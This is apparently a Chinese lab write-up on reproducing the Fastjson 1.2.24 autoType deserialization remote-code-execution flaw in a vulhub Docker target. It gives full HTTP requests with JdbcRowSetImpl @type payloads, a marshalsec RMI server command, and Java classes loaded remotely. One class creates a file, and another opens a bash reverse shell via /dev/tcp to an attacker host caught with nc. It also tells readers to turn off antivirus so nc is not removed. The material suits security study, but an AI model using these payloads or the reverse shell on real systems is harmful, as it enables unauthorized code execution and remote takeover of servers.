vulhub路径 : vulhub/fastjson/1.2.24-rce
一、漏洞背景
fastjson
fastjson用于java对象和json格式间的互相转换。fastjson引入autoType,即在序列化的时候把原始类型记录下来,使用@type
表示。在解析json的过程中,使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。
影响版本
Fastjson<1.2.25
二、利用DNSLOG进行漏洞验证
1、开启靶场环境:
docker compose up -d
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6fe8d8e3b864 vulhub/fastjson:1.2.24 "java -Dserver.addre…" 10 seconds ago Up 9 seconds 0.0.0.0:8090->8090/tcp, :::8090->8090/tcp 1224-rce_web_1
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出。
burpsuite
抓包判断使用了fastjson
组件。
2、确定漏洞是否存在
-
打开
dnslog
网址获取一个临时的域名ab9bc0b7.dnslog.store
-
然后在8090端口重新请求数据包,修改包的请求方式为
POST
,修改Content-Type
为application/json
,添加包体内容,参数val
中的内容为域名地址ab9bc0b7.dnslog.store
:
POST / HTTP/1.1
Host: your-ip:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 71
{"tpa":{"@type":"java.net.Inet4Address","val":"ab9bc0b7.dnslog.store"}}
-
查看
dnslog
网站,点击Get Results
获取结果,可以看到靶机确实向平台发起了针对 ab9bc0b7.dnslog.store域名的请求,这说明了漏洞确实存在,我们可以控制目标服务器的行为。
因为,fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,验证漏洞的存在。进一步,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。
三、漏洞利用
1、环境:
docker 靶机:
ip1:8090
虚拟机 centos7:jdk=1.8
攻击机 :
ip2:8083
win10:jdk=1.8
宿主机,安装配置好java,python环境(或者apach环境)
虚拟机用NAT网卡模式,可以与宿主机互相通信(可以互相ping通)
靶场环境:
ip3
2、编译恶意代码为class文件。
在 Python服务器(win/ip2:8083)上创建TouchFile.java,在cmd中执行javac TouchFile.java
,得到.class
文件。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
打开phpstudy
,开启apach
服务,并将TouchFile.class
文件放置在能访问到的目录中。这里选择的地址是:
centos7服务器访问地址为 http://ip2:8083/TouchFile.class成功下载文件,表示资源可以被访问。
3、搭建RMI环境
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
。方式:利用maven环境编译marshalsec工具,或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar
。
-
在https://github.com/RandomRobbieBF/marshalsec-jar上下载 marshalsec-0.0.3-SNAPSHOT-all.jar
[root@bogon 下载 ]$ ls
cJSON __MACOSX marshalsec-0.0.3-SNAPSHOT-all.jar TouchFile.class
-
启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip2:8083/#TouchFile 2335
4、启动docker靶场
[root@bogon 下载 ]$ cd /var/local/soft/vulhub/fastjson/1.2.24-rce
[root@bogon 1.2.24-rce ]$ docker-compose up -d
Creating network "1224-rce_default" with the default driver
Creating 1224-rce_web_1 ... done
5、使用 burpsuite 构造恶意包,使其在 /tmp目录下生成success
文件:
payload内容:
POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:2335/TouchFile",
"autoCommit":true
}
}
6、结果验证
-
rmi服务器显示有连接
-
从虚拟机进入dokcer内部查看文件是否构建成功。
[root@bogon 1.2.24-rce ]$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ef5faef2c1df vulhub/fastjson:1.2.24 "java -Dserver.addre…" 6 minutes ago Up 6 minutes 0.0.0.0:8090->8090/tcp, :::8090->8090/tcp 1224-rce_web_1
[root@bogon 1.2.24-rce ]$ docker exec -it ef5faef2c1df bash
root@ef5faef2c1df:/# ls /tmp
hsperfdata_root success tomcat-docbase.7948629231789132954.8090 tomcat.3902379389831924638.8090
root@ef5faef2c1df:/#
7、尝试webshell
(1)创建shell.java
,并执行javac shell.java
进行编译,将生成的文件放入到指定目录下。
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/ip2/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(2)然后,在cmd中开启rmi服务:
(3)下载、配置环境变量并开启nc服务:
注意:如果电脑上开启火绒,需要关掉,否则会把nc文件给删除。
(4)在靶场中使用 burpsuite 发包,包体内容如下:
POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:2335/shell",
"autoCommit":true
}
}
(5)结果验证:
rmi服务:
nc可以连接并执行命令:
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)